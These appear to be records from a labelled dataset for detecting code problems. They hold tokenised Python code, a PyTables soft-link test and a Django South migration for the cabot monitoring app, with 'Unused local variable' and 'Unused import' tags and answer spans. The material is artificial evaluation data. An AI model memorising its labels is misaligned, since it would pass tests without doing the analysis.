[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Sof", "t", "Link", "Test", "Case_", "(_", "common_", "._", "Temp", "File", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "13", "\\u", "direct", "\\u", "attribute", "\\u", "access", "\\u", "via", "\\u", "chained", "\\u", "soft", "links_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Check", " ", "get", "/", "set", " ", "access", " ", "via", " ", "link", "2", "-->", "link", "1", "-->", "target", ".", "child", ".", "attribute", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lg", "roup", "1_", "=_", "self_", "._", "h5file", "_", "._", "get", "\\u", "node_", "(_", "'/", "lg", "roup", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arr", "2_", "=_", "self_", "._", "h5file", "_", "._", "get", "\\u", "node_", "(_", "'/", "group", "1", "/", "arr", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "multiple", " ", "chained", " ", "links_", "\\u\\u\\uNL\\u\\u\\u_", "l\\u", "lg", "roup", "1_", "=_", "self_", "._", "h5file", "_", "._", "create", "\\u", "soft", "\\u", "link_", "(_", "'/'_", ",_", "'", "l\\u", "lg", "roup", "1", "'_", ",_", "'/", "lg", "roup", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "child", " ", "attribute_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "l\\u", "lg", "roup", "1_", "._", "arr", "2_", "[_", ":_", "]_", "==_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "set", " ", "child", " ", "attribute_", "\\u\\u\\uNL\\u\\u\\u_", "l\\u", "lg", "roup", "1_", "._", "arr", "2_", "[_", "0_", "]_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "arr", "2_", "[_", ":_", "]_", "==_", "[_", "-_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sof", "t", "Link", "Test", "Case_", "(_", "common_", "._", "Temp", "File", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "14", "\\u", "child", "\\u", "of", "\\u", "soft", "link", "\\u", "to", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "an", " ", "array", " ", "who", "se", " ", "parent", " ", "is", " ", "a", " ", "soft", "link", " ", "to", " ", "anot", "her", " ", "group", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "group1_", "=_", "self_", "._", "h5file", "_", "._", "get", "\\u", "node_", "(_", "'/", "group", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lg", "roup", "1_", "=_", "self_", "._", "h5file", "_", "._", "get", "\\u", "node_", "(_", "'/", "lg", "roup", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "arr_", "=_", "self_", "._", "h5file", "_", "._", "create", "\\u", "array_", "(_", "lg", "roup", "1_", ",_", "'", "new", "\\u", "arr", "'_", ",_", "obj_", "=_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "arr", "2_", "=_", "self_", "._", "h5file", "_", "._", "get", "\\u", "node_", "(_", "'/", "group", "1", "/", "new", "\\u", "arr", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "new", "\\u", "arr", "2_", "[_", ":_", "]_", "==_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
arachnys/cabot/cabot/cabotapp/migrations/0015_auto__add_field_alertacknowledgement_cancelled_time__add_field_alertac.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n u'auth.group': {\n 'Meta': {'object_name': 'Group'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),\n 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n u'auth.permission': {\n 'Meta': {'ordering': \"(u'content_type__app_label', u'content_type__model', u'codename')\", 'unique_together': \"((u'content_type', u'codename'),)\", 'object_name': 'Permission'},\n 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['contenttypes.ContentType']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n },\n u'auth.user': {\n 'Meta': {'object_name': 'User'},\n 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),\n 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': \"u'user_set'\", 'blank': 'True', 'to': u\"orm['auth.Group']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),\n 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': \"u'user_set'\", 'blank': 'True', 'to': u\"orm['auth.Permission']\"}),\n 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})\n },\n u'cabotapp.alertacknowledgement': {\n 'Meta': {'object_name': 'AlertAcknowledgement'},\n 'cancelled_time': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n 'cancelled_user': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': \"'cancelleduser_set'\", 'null': 'True', 'to': u\"orm['auth.User']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'service': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['cabotapp.Service']\"}),\n 'time': ('django.db.models.fields.DateTimeField', [], {}),\n 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['auth.User']\"})\n },\n u'cabotapp.alertplugin': {\n 'Meta': {'object_name': 'AlertPlugin'},\n 'enabled': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"u'polymorphic_cabotapp.alertplugin_set'\", 'null': 'True', 'to': u\"orm['contenttypes.ContentType']\"}),\n 'title': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})\n },\n u'cabotapp.alertpluginuserdata': {\n 'Meta': {'unique_together': \"(('title', 'user'),)\", 'object_name': 'AlertPluginUserData'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"u'polymorphic_cabotapp.alertpluginuserdata_set'\", 'null': 'True', 'to': u\"orm['contenttypes.ContentType']\"}),\n 'title': ('django.db.models.fields.CharField', [], {'max_length': '30'}),\n 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['cabotapp.UserProfile']\"})\n },\n u'cabotapp.instance': {\n 'Meta': {'ordering': \"['name']\", 'object_name': 'Instance'},\n 'address': ('django.db.models.fields.TextField', [], {'blank': 'True'}),\n 'alerts': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['cabotapp.AlertPlugin']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'alerts_enabled': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'email_alert': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'hackpad_id': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'hipchat_alert': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'last_alert_sent': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n 'name': ('django.db.models.fields.TextField', [], {}),\n 'old_overall_status': ('django.db.models.fields.TextField', [], {'default': \"'PASSING'\"}),\n 'overall_status': ('django.db.models.fields.TextField', [], {'default': \"'PASSING'\"}),\n 'sms_alert': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'status_checks': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['cabotapp.StatusCheck']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'telephone_alert': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'users_to_notify': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['auth.User']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n u'cabotapp.instancestatussnapshot': {\n 'Meta': {'object_name': 'InstanceStatusSnapshot'},\n 'did_send_alert': ('django.db.models.fields.IntegerField', [], {'default': 'False'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'instance': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'snapshots'\", 'to': u\"orm['cabotapp.Instance']\"}),\n 'num_checks_active': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'num_checks_failing': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'num_checks_passing': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'overall_status': ('django.db.models.fields.TextField', [], {'default': \"'PASSING'\"}),\n 'time': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'})\n },\n u'cabotapp.service': {\n 'Meta': {'ordering': \"['name']\", 'object_name': 'Service'},\n 'alerts': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['cabotapp.AlertPlugin']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'alerts_enabled': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'email_alert': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'hackpad_id': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'hipchat_alert': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'instances': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['cabotapp.Instance']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'last_alert_sent': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n 'name': ('django.db.models.fields.TextField', [], {}),\n 'old_overall_status': ('django.db.models.fields.TextField', [], {'default': \"'PASSING'\"}),\n 'overall_status': ('django.db.models.fields.TextField', [], {'default': \"'PASSING'\"}),\n 'sms_alert': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'status_checks': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['cabotapp.StatusCheck']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'telephone_alert': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'url': ('django.db.models.fields.TextField', [], {'blank': 'True'}),\n 'users_to_notify': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['auth.User']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n u'cabotapp.servicestatussnapshot': {\n 'Meta': {'object_name': 'ServiceStatusSnapshot'},\n 'did_send_alert': ('django.db.models.fields.IntegerField', [], {'default': 'False'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'num_checks_active': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'num_checks_failing': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'num_checks_passing': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'overall_status': ('django.db.models.fields.TextField', [], {'default': \"'PASSING'\"}),\n 'service': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'snapshots'\", 'to': u\"orm['cabotapp.Service']\"}),\n 'time': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'})\n },\n u'cabotapp.shift': {\n 'Meta': {'object_name': 'Shift'},\n 'deleted': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'end': ('django.db.models.fields.DateTimeField', [], {}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'start': ('django.db.models.fields.DateTimeField', [], {}),\n 'uid': ('django.db.models.fields.TextField', [], {}),\n 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['auth.User']\"})\n },\n u'cabotapp.statuscheck': {\n 'Meta': {'ordering': \"['name']\", 'object_name': 'StatusCheck'},\n 'active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'allowed_num_failures': ('django.db.models.fields.IntegerField', [], {'default': '0', 'null': 'True'}),\n 'cached_health': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n 'calculated_status': ('django.db.models.fields.CharField', [], {'default': \"'passing'\", 'max_length': '50', 'blank': 'True'}),\n 'check_type': ('django.db.models.fields.CharField', [], {'max_length': '100', 'null': 'True'}),\n 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['auth.User']\", 'null': 'True'}),\n 'debounce': ('django.db.models.fields.IntegerField', [], {'default': '0', 'null': 'True'}),\n 'endpoint': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n 'expected_num_hosts': ('django.db.models.fields.IntegerField', [], {'default': '0', 'null': 'True'}),\n 'frequency': ('django.db.models.fields.IntegerField', [], {'default': '5'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'importance': ('django.db.models.fields.CharField', [], {'default': \"'ERROR'\", 'max_length': '30'}),\n 'last_run': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),\n 'max_queued_build_time': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),\n 'metric': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n 'name': ('django.db.models.fields.TextField', [], {}),\n 'password': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"u'polymorphic_cabotapp.statuscheck_set'\", 'null': 'True', 'to': u\"orm['contenttypes.ContentType']\"}),\n 'status_code': ('django.db.models.fields.TextField', [], {'default': '200', 'null': 'True'}),\n 'text_match': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'timeout': ('django.db.models.fields.IntegerField', [], {'default': '30', 'null': 'True'}),\n 'username': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'value': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n 'verify_ssl_certificate': ('django.db.models.fields.BooleanField', [], {'default': 'True'})\n },\n u'cabotapp.statuscheckresult': {\n 'Meta': {'ordering': \"['-time_complete']\", 'object_name': 'StatusCheckResult'},\n 'check': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['cabotapp.StatusCheck']\"}),\n 'error': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'job_number': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True'}),\n 'raw_data': ('django.db.models.fields.TextField', [], {'null': 'True'}),\n 'succeeded': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'time': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}),\n 'time_complete': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'db_index': 'True'})\n },\n u'cabotapp.userprofile': {\n 'Meta': {'object_name': 'UserProfile'},\n 'fallback_alert_user': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'hipchat_alias': ('django.db.models.fields.CharField', [], {'default': \"''\", 'max_length': '50', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'mobile_number': ('django.db.models.fields.CharField', [], {'default': \"''\", 'max_length': '20', 'blank': 'True'}),\n 'user': ('django.db.models.fields.related.OneToOneField', [], {'related_name': \"'profile'\", 'unique': 'True', 'to': u\"orm['auth.User']\"})\n },\n u'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n }\n }\n\n complete_apps = ['cabotapp']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding field 'AlertAcknowledgement.cancelled_time'\n db.add_column(u'cabotapp_alertacknowledgement', 'cancelled_time',\n self.gf('django.db.models.fields.DateTimeField')(null=True, blank=True),\n keep_default=False)\n\n # Adding field 'AlertAcknowledgement.cancelled_user'\n db.add_column(u'cabotapp_alertacknowledgement', 'cancelled_user',\n self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='cancelleduser_set', null=True, to=orm['auth.User']),\n keep_default=False)", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting field 'AlertAcknowledgement.cancelled_time'\n db.delete_column(u'cabotapp_alertacknowledgement', 'cancelled_time')\n\n # Deleting field 'AlertAcknowledgement.cancelled_user'\n db.delete_column(u'cabotapp_alertacknowledgement', 'cancelled_user_id')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 21 } ]
[ { "span": "from south.utils import datetime_utils as datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 50 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "south_", "._", "utils_", "import_", "datetime", "\\u", "utils_", "as_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "auth", ".", "group", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "80", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "auth", ".", "permissi", "on", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "u", "'", "content", "\\u", "type\\u\\u", "app", "\\u", "label", "',", " ", "u", "'", "content", "\\u", "type\\u\\u", "model", "',", " ", "u", "'", "code", "name", "')\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "(", "u", "'", "content", "\\u", "type", "',", " ", "u", "'", "code", "name", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Permi", "ssion", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "auth", ".", "user", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "User", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "\\u", "joine", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Ema", "il", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "7", "5", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "first", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "user", "\\u", "set", "'\"_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "Group", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "sta", "ff", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "super", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "login", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "128", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "user", "\\u", "set", 